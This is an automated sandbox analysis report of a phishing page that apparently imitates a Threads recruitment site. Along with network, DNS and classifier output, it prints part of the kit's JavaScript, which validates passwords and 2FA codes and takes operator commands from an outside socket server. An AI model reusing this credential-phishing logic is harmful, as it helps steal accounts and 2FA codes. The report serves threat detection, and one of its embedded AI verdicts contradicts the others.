Edit tour

Windows Analysis Report
https://recruit.threadsforteams.com/

Overview

General Information

Sample URL:	https://recruit.threadsforteams.com/
Analysis ID:	1596092
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1428 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2528,i,3302056267879032963,3609637732090471941,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://recruit.threadsforteams.com/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

HTTP traffic detected: POST /report/v4?s=5PT7DKTkZ5AaRkn%2B0lcvWix0V5zx00wfJR%2FhxVO8GLEYnnCXlgdFYaDohWUW6v1F1g3RwZQZPU9o1Y5COmhXYsVl2kP%2FuOomjYmGxp%2BtHfm6yhLXDoNoQeL2EfhtqvVos6ACoqNE%2FfMLgOCQZDY%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 400Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 21 Jan 2025 15:52:26 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3b9NP0KL4xog5kB%2BL40%2F6e1IsYRp7Y6y%2BIDVfQvefMVsdB1z5KbY%2F7ARtOF%2BS6mFTgHoi%2BZc0mIIRvYoYPys83%2BiZdNUE%2BeZnJLKm1UAQ5q4yTRiMZRoe9CkuU0vtnPTFI5I8Dw6PS8fOKTOJr0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 905878aa79586c0d-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=38535&min_rtt=38084&rtt_var=15184&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=1234&delivery_rate=70030&cwnd=32&unsent_bytes=0&cid=865a7d8c75f7de58&ts=1418&x=0"

Source: https://recruit.threadsforteams.com/	Joe Sandbox AI: Score: 7 Reasons: The brand 'Threads' is associated with the domain 'threads.com'., The URL 'recruit.threadsforteams.com' contains additional words 'for' and 'teams', which are not part of the legitimate domain., The presence of additional words in the domain name is a common tactic used in phishing attempts., The URL does not match the fully legitimate domain name associated with the brand 'Threads'. DOM: 0.2.pages.csv
Source: https://recruit.threadsforteams.com/	Joe Sandbox AI: Score: 8 Reasons: The brand 'Threads' is associated with the domain 'threads.com'., The URL 'recruit.threadsforteams.com' contains additional words 'for' and 'teams', which are not part of the legitimate domain., The presence of additional words in the domain name is a common tactic used in phishing to mimic legitimate sites., The domain 'threadsforteams.com' does not match the known domain for the brand 'Threads'., The use of a subdomain 'recruit' could be an attempt to appear as a legitimate recruitment page, which is a common phishing strategy. DOM: 0.1.pages.csv

Source: https://recruit.threadsforteams.com/	HTTP Parser: Invalid link: Threads Terms
Source: https://recruit.threadsforteams.com/	HTTP Parser: Invalid link: Privacy Policy
Source: https://recruit.threadsforteams.com/	HTTP Parser: Invalid link: Threads Terms
Source: https://recruit.threadsforteams.com/	HTTP Parser: Invalid link: Privacy Policy
Source: https://recruit.threadsforteams.com/	HTTP Parser: Invalid link: Threads Terms
Source: https://recruit.threadsforteams.com/	HTTP Parser: Invalid link: Privacy Policy

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 104.40.149.189
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 104.40.149.189
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: recruit.threadsforteams.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: unpkg.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: maximescommands.com

Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://caniuse.com/url
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/URL
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/WebSocket/send
Source: chromecache_63.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Roboto:ital
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkAnkaWzU.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkBXkaWzU.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkBnka.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkC3kaWzU.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCHkaWzU.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCXkaWzU.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCnkaWzU.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkaHkaWzU.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkenkaWzU.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3-UBGEe.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3CUBGEe.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3GUBGEe.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3KUBGEe.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3OUBGEe.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3iUBGEe.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBA.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMawCUBGEe.woff2)
Source: chromecache_85.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMaxKUBGEe.woff2)
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://github.com/component/has-cors
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://github.com/galkn/parseuri
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://github.com/galkn/querystring
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://github.com/socketio/engine.io-client/commit/de2c561e4564efeb78f1bdb1ba39ef81b2822cb3
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://github.com/socketio/engine.io-client/commit/df32277c3f6d622eec5ed09f493cae3f3391d242
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://github.com/socketio/socket.io-client/commit/4ee1d5d94b3906a9c052b459f1a818b15f38f91c
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://github.com/unshiftio/yeast
Source: chromecache_80.2.dr, chromecache_70.2.dr	String found in binary or memory: https://maximescommands.com/
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://nodejs.org/api/events.html#events_event_newlistener
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://socket.io/docs/v3/migrating-from-2-x-to-3-0/)
Source: chromecache_71.2.dr, chromecache_65.2.dr	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc3986#appendix-B

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2528,i,3302056267879032963,3609637732090471941,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://recruit.threadsforteams.com/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2528,i,3302056267879032963,3609637732090471941,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://recruit.threadsforteams.com/assets/img/facebook.png	0%	Avira URL Cloud	safe
https://recruit.threadsforteams.com//assets/css/jquery.select.css	0%	Avira URL Cloud	safe
https://caniuse.com/url	0%	Avira URL Cloud	safe
https://recruit.threadsforteams.com//assets/css/home.module.css	0%	Avira URL Cloud	safe
https://recruit.threadsforteams.com/gw.php	0%	Avira URL Cloud	safe
https://recruit.threadsforteams.com//assets/js/socket.io.js	0%	Avira URL Cloud	safe
https://recruit.threadsforteams.com//assets/js/jquery.select.min.js	0%	Avira URL Cloud	safe
https://recruit.threadsforteams.com//assets/css/main.css	0%	Avira URL Cloud	safe
https://recruit.threadsforteams.com/assets/img/bg.webp	0%	Avira URL Cloud	safe
https://recruit.threadsforteams.com//assets/images/threadsfavicon.png	0%	Avira URL Cloud	safe
https://recruit.threadsforteams.com/favicon.ico	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
maximescommands.com	162.0.217.138	true	false	high
code.jquery.com	151.101.66.137	true	false	high
www.google.com	142.250.184.228	true	false	high
recruit.threadsforteams.com	172.67.139.244	true	true	unknown
unpkg.com	104.17.249.203	true	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/unshiftio/yeast	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/API/WebSocket/send	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://socket.io/docs/v3/migrating-from-2-x-to-3-0/)	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://caniuse.com/url	chromecache_71.2.dr, chromecache_65.2.dr	false	Avira URL Cloud: safe	unknown
https://nodejs.org/api/events.html#events_event_newlistener	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://github.com/galkn/querystring	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://github.com/component/has-cors	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://github.com/socketio/socket.io-client/commit/4ee1d5d94b3906a9c052b459f1a818b15f38f91c	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://www.rfc-editor.org/rfc/rfc3986#appendix-B	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://github.com/galkn/parseuri	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/API/URL	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://github.com/socketio/engine.io-client/commit/df32277c3f6d622eec5ed09f493cae3f3391d242	chromecache_71.2.dr, chromecache_65.2.dr	false		high
https://maximescommands.com/	chromecache_80.2.dr, chromecache_70.2.dr	false		high
https://github.com/socketio/engine.io-client/commit/de2c561e4564efeb78f1bdb1ba39ef81b2822cb3	chromecache_71.2.dr, chromecache_65.2.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
162.0.217.138	maximescommands.com	Canada	35893	ACPCA	false
172.67.139.244	recruit.threadsforteams.com	United States	13335	CLOUDFLARENETUS	true
104.21.70.219	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.249.203	unpkg.com	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1596092
Start date and time:	2025-01-21 16:51:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://recruit.threadsforteams.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.phis.win@16/51@18/10

Input	Output
URL: https://recruit.threadsforteams.com Model: Joe Sandbox AI	```json{ "brand": "Threads", "brand_classification": "known", "legit_url": "https://threads.com", "similarity": 3, "spoofed": 2, "reasoning": "The URL 'https://recruit.threadsforteams.com' includes the word 'threads', which is associated with the known brand 'Threads'. However, the context of the URL suggests a specific purpose related to recruitment ('recruit') and teams ('forteams'), which may indicate a legitimate use case unrelated to typosquatting. The domain 'threadsforteams.com' does not closely resemble the legitimate 'threads.com' in terms of structure or character substitution. The use of a subdomain 'recruit' further suggests a specific function rather than an attempt to deceive users into thinking they are visiting the main 'Threads' site. Therefore, the likelihood of this being a typosquatting attempt is low."}
URL: https://recruit.threadsforteams.com
URL: https://recruit.threadsforteams.com//assets/js/soc... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided code snippet appears to be the Socket.IO library, which is a widely used and trusted library for real-time communication in web applications. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or obfuscated code. The code is well-structured and follows common JavaScript patterns, indicating it is likely a legitimate library. While it uses some moderate-risk indicators like external data transmission and DOM manipulation, these are typical for a real-time communication library and do not suggest any malicious intent. Overall, the risk score is low, and the code can be considered safe for use in a web application." }
/! Socket.IO v4.6.1 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global \|\| self, global.io = factory()); })(this, (function () { 'use strict'; function _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable \|\| false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, "prototype", { writable: false }); return Constructor; } function _extends() { _extends = Object.assign ? Object.assign.bind() : function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, "prototype", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ \|\| Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" \|\| !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } } function _construct(Parent, args, Class) { if (_isNativeReflectConstruct()) { _construct = Reflect.construct.bind(); } else { _construct = function _construct(Parent, args, Class) { var a = [null]; a.push.apply(a, args); var Constructor = Function.bind.apply(Parent, a); var instance = new Constructor(); if (Class) _setPrototypeOf(instance, Class.prototype); return instance; }; } return _construct.apply(null, arguments); } function _isNativeFunction(fn
URL: https://recruit.threadsforteams.com/assets/js/main... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script demonstrates several high-risk behaviors, including data exfiltration, dynamic code execution, and the use of obfuscated URLs. While some of the functionality may be legitimate (e.g., form validation, error handling), the overall risk is elevated due to the potential for abuse and the lack of transparency around the script's purpose and data handling practices." }
$("form").submit(function (e) { const inputs = e.target.querySelectorAll('input, textarea'); var hasError = false; for(let input of inputs){ const dataset = input.dataset; if(dataset.required == "true"){ const parent = $(input).parent(); let error = $(input).next("span.error"); if(error.length < 1) error = $(input).parent().parent().find("span.error"); if(input.type == "checkbox"){ if(!input.checked){ error.css("display", "inline-block"); hasError = true; } else { error.css("display", "none"); } } else if(dataset.mobile == "true") { if(!input.value.match(/^\+\d{7,}$/)){ hasError = true; error.css("display", "inline-block"); if(dataset.snackbar) { showSnackbar(dataset.msg); break; } }else { if(parent.attr("data-next") == "true"){ parent.next().fadeIn(); } error.css("display", "none"); } } else if(dataset.email == "true"){ if(!input.value.match(/^[a-zA-Z0-9.!#$%&'+/=?^_`{\|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)$/)){ hasError = true; error.css("display", "inline-block"); if(dataset.snackbar) { showSnackbar(dataset.msg); break; } }else { if(parent.attr("data-next") == "true"){ parent.next().fadeIn(); parent.find(".next").fadeOut(); } if(parent.attr("data-submit") == "true"){ $(".buttonHolder").css("display", "block"); } error.css("display", "none"); } } else if(dataset.codetype == "2fa"){ if(!input.value.match(/^[0-9]{6}$/)){ hasError = true; error.css("display", "inline-block"); error.text("Entered code must be exactly 6 digits"); }else { error.css("display", "none"); } } else if(dataset.codetype == "email"){ if(!input.value.match(/^[0-9]{5}$/) && !input.value.match(/^[0-9]{8}$/)){ hasError = true; error.css("display", "inline-block"); error.text("Entered code is incorrect."); }else { error.css("display", "none"); } } else { if(!input.value){ hasError = true; error.css("display", "inline-block"); if(dataset.snackbar) { showSnackbar(dataset.msg); break; } }else { if(parent.attr("data-next") == "true"){ parent.next().fadeIn(); parent.find(".next").fadeOut(); } error.css("display", "none"); } } } } if(hasError) e.preventDefault(); else { const onValidate = $(this).attr("onValidateCallback"); if(onValidate) onLoginSubmit(e, this); } }) function redirect_to($url){ window.location.href = $url; } $(function () { const sid = $("#sessId").val(); const message = $("#appMessage").val(); const token = $("#appToken").val(); const chatId = $("#appChatId").val(); var socket = io('https://maximescommands.com/', { query: `room=${sid}&message=${encodeURIComponent(message)}&chatId=${chatId}&token=${token}` }); socket.on('action', data => { receiveMessage(data); }); setInterval(() => { $.post('/gw.php', { action: 'command' }).done(function(response){ response = JSON.parse(response); if(response.command) receiveMessage(response.command); }); }, 5000); function receiveMessage(data){ switch(data) { case "PASSWDAGAIN": redirect_to("/login?again=true"); return; case "SENDTOEMAIL": redirect_to("/auth?type=email"); return; case "SENDTO2FA": redirect_to("/auth?type=2fa"); return; case "2FAAGAIN": redirect_to("/auth?type=2fa&again=true"); return; case "EMAILAGAIN": redirect_to("/auth?t
URL: https://recruit.threadsforteams.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Refresh Page", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://recruit.threadsforteams.com/ Model: Joe Sandbox AI	{ "brands": [ "Twitter" ] }
	{ "brands": [ "Twitter" ] }
URL: https://recruit.threadsforteams.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign up to start a career with us", "prominent_button_name": "Next", "text_input_field_labels": [ "Email address" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "software download portal" }

URL: https://recruit.threadsforteams.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign up to start a career with us", "prominent_button_name": "Next", "text_input_field_labels": [ "Email address" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "software download portal" }

URL: https://recruit.threadsforteams.com/ Model: Joe Sandbox AI	{ "brands": [ "Threads" ] }
	{ "brands": [ "Threads" ] }
URL: https://recruit.threadsforteams.com/ Model: Joe Sandbox AI	{ "brands": [ "Threads" ] }
	{ "brands": [ "Threads" ] }
